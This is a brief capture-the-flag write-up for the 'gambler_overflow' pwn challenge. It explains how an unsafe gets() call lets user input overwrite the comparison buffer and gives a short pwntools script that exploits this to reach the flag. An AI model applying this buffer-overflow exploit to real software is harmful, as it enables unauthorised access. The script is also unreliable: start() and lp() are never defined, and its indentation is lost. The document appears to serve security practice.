0x0 Introduction
Feeling luuuuuuuucky?
You must create a flag.txt in the same folder as the binary for it to run.
nc ctf.b01lers.com 9203
Author: robotearthpizza
Difficulty: Easy
files: gambler_overflow
0x1 Mitigation
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
0x2 Vulnerability
function sym.casino ask for a 4 byte string using gets, then it compare with a random string generate by sym.imp.rand().
If we enter the same string as the random one, we get certain amount of money. If we have more than 1000 in balance, the program will print out the flag
│ ; var signed int64_t var_1ch @ rbp-0x1c
│ ; var char *s2 @ rbp-0x18
│ ; var char *s1 @ rbp-0x10
│ ; var int64_t canary @ rbp-0x8
{
do {
// generate random string
sym.imp.gets(&s2);
iVar1 = sym.imp.strcmp(&s1);
// add or subtract balance depend on the result
} while (_obj.balance < 1000);
sym.give_flag();
return;
}
it uses gets, so we can overwrite s1 by s2. so that we can make s2 and s1 same.
0x3 Exploit
from pwn import *
io = start()
try:
while True:
lp(io.sendlineafter(b"letters: ",b"AAAAAAA\x00AAAAAAA\x00"))
except:
pass
print(io.recv())
io.interactive()
0x4 Flag
forgot